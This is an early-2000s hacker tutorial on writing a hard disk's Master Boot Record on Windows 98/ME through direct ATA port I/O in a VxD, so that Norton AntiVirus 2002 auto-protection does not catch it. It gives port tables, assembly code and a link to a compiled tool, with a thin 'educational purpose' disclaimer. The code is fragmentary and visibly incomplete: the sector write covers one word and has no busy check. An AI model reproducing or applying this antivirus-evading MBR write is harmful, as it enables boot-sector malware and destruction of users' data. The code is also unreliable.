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Writing MBR When Norton Antivirus2002
has
Auto-protection Enable.

By Harshal.A.Chaudhari

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This is Only for Educational Purpose.Plz don't use this for Troubling ppl.I am not Responsible for Misusing this Information.

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Actually I had tried this on Windows 98 First Edition,Second Edition,& Me.I ran this Program on 2 computers.It seems to work very fine with windows 98 First Edition. What i mean to say is that when i run the Program under Windows 98 Second Edition & Me on One computer i observe that i had to run the Program Several times then only it writes the (M)aster (B)oot
(R)ecord.While on other its just running Fine.I also know that it might be the problem coz the (computers having)Hard Disk on which i tested the code had different Disk Rotation Speed & Also i didn't check if the Disk Controllers is not Busy.But it Writes MBR. Ok ( 0x1F0 - 0x1F7 ) this is the I/O Port Range When Hard Disk is Primary Master.

The Details are as Follows:-

0x1F0   data register
0x1F1   error register
0x1F2   sector count
0x1F3   sector number
0x1F4   cylinder low 
0x1F5   cylinder high 
0x1F6   drive/head  
0x1F7   command register 

The Procedure is simple:-
Just Code a Vxd for doing our job.

mov  dx, 1F2h     ;; dx=0x1F2 
mov  al,1         ;; we want to write only 1 sector
out  dx,al        ;; out 1 to 0x1F2 port
inc  dx           ;; dx=0x1F3  
out  dx,al        ;; out 1 (i.e 1st sector) to 0x1F3 
inc  dx           ;; dx=0x1F4 
xor  ax,ax        ;; al=0
out  dx,al        ;; out 0 (i.e 0 cylinder low) to 0x1F4
inc  dx           ;; dx=0x1F5
out  dx,al        ;; out 0 (i.e 0 cylinder high) to 0x1F5
mov  al,10100000b ;;(drive & head)
inc  dx           ;; dx=0x1F6
out  dx,al        ;; out 0xA0 for Primary master 
inc  dx           ;; dx=0x1F7 
mov  al,30h       ;; 30h indicates write sector ;; 20h indicates read sector 
out  dx,al        ;; so we wanna write...hmmm!! Bad guys  

; Writing Sector 98 (FIRST EDITION) ...OK 
lea ebx, buffer    ;; address of buffer in ebx 
mov dx, 1F0h       ;; dx=0x1F0
mov cx, 256        ;; counter 512 bytes
mov ax,word ptr [ebx] 
out dx,ax          ;; data register 0x1F0 

;Writing Sector 98 SE
lea ebx, buffer 
mov dx, 1F0h 
mov cx, 256 
mov ebx,[ebx] 
mov ax,word ptr [ebx] 
out dx,ax 

PLZ NOTE :- I had not checked the Disk Controller if its busy so if u want u can write that code ...ok
And Let me know Whats happens when u run that on ur Computer.

Ok http://www.geocities.com/hrvgdaily/Mbr.zip is the Program i had made to write [M]aster [B]oot [R]ecord. But Don't forget to have Copy of [M]aster [B]oot [R]ecord make Rescue disks from Norton Antivirus.And i know that it ugly it rough work friends.

Bye 4 now.Hope it was useful & u like it.

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CREDITS

1). I Thank Astalavista.com for giving me an opportunity to write this Tutorial.
2). It goes to Rajesh.chaudhari , my Mom & Dad , Sagar.S , Nilesh.C ,Anirudha.B , Mayur.S & all friends whom i forgot to mention here ,coz What i am today is because of them.
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U can Contact & Share ur view with me at gj007_in@yahoo.com if i could be of any help ____________________________________________________________________________________________